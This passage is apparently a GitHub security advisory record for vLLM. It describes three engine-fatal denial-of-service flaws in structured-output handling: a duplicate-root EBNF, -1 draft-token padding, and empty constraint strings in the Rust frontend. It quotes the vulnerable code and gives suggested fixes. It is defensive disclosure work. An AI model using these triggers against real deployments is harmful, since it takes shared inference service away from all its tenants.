[GHSA-6qc9-v4r8-22xg](https://github.com/vllm-project/vllm/security/advisories/GHSA-6qc9-v4r8-22xg) and [GHSA-8wr5-jm2h-8r4f](https://github.com/vllm-project/vllm/security/advisories/GHSA-8wr5-jm2h-8r4f): GHSA-6qc9 (PR #17623) added frontend json-schema/regex/type validation but the completion check on v0.25.1 still catches only `TimeoutError`, so Site 1\u0027s valid duplicate-root EBNF via the latched xgrammar backend still re-raises and kills EngineCore; GHSA-8wr5 (PR #44744) fixes recovered-token state in the eagle spec-decode path and explicitly does not treat trailing `-1` padding as the fault, so Site 2\u0027s `-1` reaching `backend_guidance.validate_tokens()` via `ngram_gpu` survives it.\n\n## Affected code\n\nLinks pinned to the confirmed commit [`752a3a504485`](https://github.com/vllm-project/vllm/tree/752a3a504485790a2e8491cacbb35c137339ad34) (v0.25.1). The three sites are:\n\n**Site 1 \u2014 latched-backend compile exception escapes.** `StructuredOutputManager` permanently latches one backend on the first structured-output request and always compiles through it, ignoring the per-request `auto` backend selection. A grammar that `auto` accepts only via a fallback backend (e.g. a duplicate-root EBNF) then makes the latched xgrammar compiler raise; the exception is stored in the grammar `Future`, and the completion check catches only `TimeoutError`, so `Future.result()` re-raises during scheduler promotion and kills EngineCore.\n\n- Backend defaults to `\"auto\"`: [`vllm/config/structured_outputs.py#L21`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/config/structured_outputs.py#L21).\n- The `auto` validator tries xgrammar and silently falls back, recording the resolved backend on the request: [`vllm/sampling_params.py#L1004-L1035`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/sampling_params.py#L1004-L1035) (fields at [`#L85-L88`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/sampling_params.py#L85-L88)).\n- The manager latches one backend and always compiles through it: [`vllm/v1/structured_output/__init__.py#L127-L159`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/structured_output/__init__.py#L127-L159) and `_create_grammar()` at [`#L173-L184`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/structured_output/__init__.py#L173-L184).\n- The xgrammar sink calls the native compiler unguarded: [`vllm/v1/structured_output/backend_xgrammar.py#L78-L110`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/structured_output/backend_xgrammar.py#L78-L110) (grammar path at [`#L90`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/structured_output/backend_xgrammar.py#L90)).\n- The completion check catches only `TimeoutError`: [`vllm/v1/structured_output/request.py#L48-L63`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/structured_output/request.py#L48-L63) (`result(timeout=0.0001)` at [`#L55`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/structured_output/request.py#L55), `except TimeoutError` at [`#L57`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/structured_output/request.py#L57)).\n- Scheduler promotion dereferences the grammar with no exception boundary: [`vllm/v1/core/sched/scheduler.py#L2441-L2460`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/core/sched/scheduler.py#L2441-L2460) (reached from [`schedule()` at #L396](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/core/sched/scheduler.py#L396)).\n- The uncaught exception is treated as fatal: [`vllm/v1/engine/core.py#L1229-L1234`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/engine/core.py#L1229-L1234) (`_send_engine_dead()` at [`#L1470`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/engine/core.py#L1470)).\n\nThe escaping-exception sink: the completion check only handles `TimeoutError`, so any compile exception stored in the `Future` re-raises out of `result()` during scheduler promotion.\n\n```python\n# vllm/v1/structured_output/request.py Lines 48-59\n    def _check_grammar_completion(self) -\u003e bool:\n        # NOTE: We have to lazy import to gate circular imports\n        from vllm.v1.request import RequestStatus\n\n        if isinstance(self._grammar, Future):\n            try:\n                # We will check whether the future is ready within 100 us\n                self._grammar = self._grammar.result(timeout=0.0001)\n                self.status = RequestStatus.WAITING\n            except TimeoutError:\n                return False\n        return True\n```\n\n**Site 2 \u2014 guidance treats `ngram_gpu` `-1` padding as a token id.** The `ngram_gpu` proposer pads a fixed-width draft-token row with `-1` and separately records `num_valid_draft_tokens`, but the scheduler forwards the untrimmed padded row into `GuidanceGrammar.validate_tokens()`, which passes `-1` to the native `llguidance` matcher; the matcher cannot convert a negative value to its unsigned token type and raises an `OverflowError`, uncaught and fatal.\n\n- The proposer fills with `-1` and computes `num_valid_draft_tokens`: [`vllm/v1/spec_decode/ngram_proposer_gpu.py#L189-L209`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/spec_decode/ngram_proposer_gpu.py#L189-L209).\n- `_get_draft_token_ids_cpu()` materializes the full padded row, not trimmed to the valid count: [`vllm/v1/worker/gpu_model_runner.py#L4835-L4849`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/worker/gpu_model_runner.py#L4835-L4849).\n- Two scheduler call sites pass the padded row into `validate_tokens(...)`: [`vllm/v1/core/sched/scheduler.py#L1967`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/core/sched/scheduler.py#L1967) and [`#L1997`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/core/sched/scheduler.py#L1997).\n- The sink has no negative-value filter: [`vllm/v1/structured_output/backend_guidance.py#L181-L192`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/structured_output/backend_guidance.py#L181-L192) (`validate_tokens(tokens)` at [`#L192`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/structured_output/backend_guidance.py#L192)).\n- The uncaught `OverflowError` is treated as fatal: [`vllm/v1/engine/core.py#L1229-L1234`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/engine/core.py#L1229-L1234).\n\nThe sink passes the padded row straight to the native matcher with no lower-bound check on token ids:\n\n```python\n# vllm/v1/structured_output/backend_guidance.py Lines 181-196\n    def validate_tokens(self, tokens: list[int]) -\u003e list[int]:\n        \"\"\"Checks if the list of tokens are accepted by the parser in sequence.\n        Will not advance the parser.\n\n        Returns the prefix list of tokens that are accepted by the parser.\n        \"\"\"\n        if len(tokens) == 0:\n            return []\n        if self.ll_matcher.is_stopped():\n            return []\n\n        num_tokens = self.ll_matcher.validate_tokens(tokens)\n\n        self.check_error()\n\n        return tokens[:num_tokens]\n```\n\n**Site 3 \u2014 Rust frontend accepts an empty structured-output value the Python frontend rejects.** The opt-in Rust frontend admits an empty `structured_outputs.json` / `structured_outputs.grammar` string that the Python frontend rejects; the empty value passes through the wire-params conversion without validation, reaches the engine, and marks EngineCore dead.\n\n- `impl TryFrom\u003cWireStructuredOutputsParams\u003e for StructuredOutputsParams`: [`rust/src/engine-core-client/src/protocol/structured_outputs.rs#L135-L163`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/rust/src/engine-core-client/src/protocol/structured_outputs.rs#L135-L163) \u2014 `try_from` at L138 maps `raw.json` to a `Json` constraint (L159) and `raw.grammar` to a `Grammar` constraint (L162) with no non-empty check, so an empty value is forwarded unchanged. `WireStructuredOutputsParams` is defined at [`#L115`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/rust/src/engine-core-client/src/protocol/structured_outputs.rs#L115).\n\nThe conversion maps each field to a constraint with no non-empty check, so an empty `json`/`grammar` string is forwarded unchanged:\n\n```rust\n// rust/src/engine-core-client/src/protocol/structured_outputs.rs Lines 135-162\nimpl TryFrom\u003cWireStructuredOutputsParams\u003e for StructuredOutputsParams {\n    type Error = Error;\n\n    fn try_from(raw: WireStructuredOutputsParams) -\u003e Result\u003cSelf\u003e {\n        use StructuredOutputConstraint::*;\n\n        let mut constraint = None;\n\n        macro_rules! insert_constraint {\n            ($name:literal, $value:expr) =\u003e {\n                if let Some(value) = $value {\n                    if let Some((existing, _)) = constraint {\n                        return Err(Error::InvalidStructuredOutputsParams {\n                            message: format!(\n                                \"multiple structured output constraints specified: {existing}, {}\",\n                                $name\n                            ),\n                        });\n                    }\n                    constraint = Some(($name, value));\n                }\n            };\n        }\n\n        insert_constraint!(\"json\", raw.json.map(Json));\n        insert_constraint!(\"regex\", raw.regex.map(Regex));\n        insert_constraint!(\"choice\", raw.choice.map(Choice));\n        insert_constraint!(\"grammar\", raw.grammar.map(Grammar));\n```\n\n## Impact\n\nAny client able to send an ordinary structured-output request (two requests for Site 1) can terminate the shared EngineCore, denying service to all tenants of that engine instance. Availability only; no code execution, memory corruption, or data disclosure.\n\n- **Site 1** affects the default `\"auto\"` structured-output backend; no speculative decoding or non-default configuration is required.\n- **Site 2** requires a deployment using the `guidance` backend together with `ngram_gpu` speculative decoding; the `-1` sentinel is produced by the proposer itself, so an ordinary constrained request suffices \u2014 the client does not craft the negative token.\n- **Site 3** requires the opt-in Rust frontend; a single request with an empty constraint value is enough. API-key middleware narrows the attacker from unauthenticated to authenticated but does not restore the missing validation.\n\n\n## Suggested Fix\n\nConvert structured-output failures into request-scoped errors at the boundary. Each site is a distinct fix shape; the core hunk for each is below.\n\n**Site 1** \u2014 resolve the backend per request instead of latching one process-wide, so a grammar is always compiled with the backend that `auto` actually selected for it (and a compile failure is that request\u0027s error, not the engine\u0027s):\n\n```python\n# vllm/v1/structured_output/__init__.py \u2014 grammar_init(), replacing the latched-backend path\nbackend = self._get_or_create_backend(request.structured_output_request.backend)\nif self._use_async_grammar_compilation:\n    grammar = self.executor.submit(self._create_grammar, request, backend)\nelse:\n    grammar = self._create_grammar(request, backend)\n```\n\n**Site 2** \u2014 drop negative sentinels before handing the row to the native matcher, inside `validate_tokens()`:\n\n```python\n# vllm/v1/structured_output/backend_guidance.py \u2014 validate_tokens(), before the ll_matcher call\nfor i, token in enumerate(tokens):\n    if token \u003c 0:\n        tokens = tokens[:i]\n        break\nif len(tokens) == 0:\n    return []\n```\n\n**Site 3** \u2014 reject empty `json`/`grammar` strings in the Rust wire-params conversion, matching the Python frontend, before the value reaches the engine:\n\n```rust\n// rust/src/engine-core-client/src/protocol/structured_outputs.rs \u2014 try_from(), before constraint mapping\nif matches!(\u0026raw.json, Some(Value::String(value)) if value.trim().is_empty()) {\n    return Err(Error::InvalidStructuredOutputsParams {\n        message: \"structured_outputs.json cannot be an empty string\".to_string(),\n    });\n}\nif matches!(\u0026raw.grammar, Some(value) if value.trim().is_empty()) {\n    return Err(Error::InvalidStructuredOutputsParams {\n        message: \"structured_outputs.grammar cannot be an empty string\".to_string(),\n    });\n}\n```\n\nThe three sites share one root cause and the same fix shape (bound the failure to the request), so they are filed as a single advisory; happy to split into per-component advisories if the maintainers prefer. Each fix carries a regression test.\n\n## Credit\n\n**Reported by:** Patch the Planet (Trail of Bits + OpenAI collaboration)\n\nThese vulnerabilities were discovered using GPT-5.5-Cyber as part of the Patch the Planet security initiative.\n\n---\n\n**Proposed fix:** a fix for this issue is proposed in a public pull request: https://github.com/vllm-project/vllm/pull/51450",
  "id": "GHSA-85xf-c7hm-whqw",
  "modified": "2026-10-05T23:42:44Z",
  "published": "2026-10-05T23:42:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-85xf-c7hm-whqw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/pull/51450"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/commit/c55e15a44ec4127832d4a86928a356fdd9e68dbd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/releases/tag/v0.30.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vLLM: Structured-output request errors escape the request boundary and terminate the shared EngineCore \u2014 engine-fatal denial of service (3 sites)"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.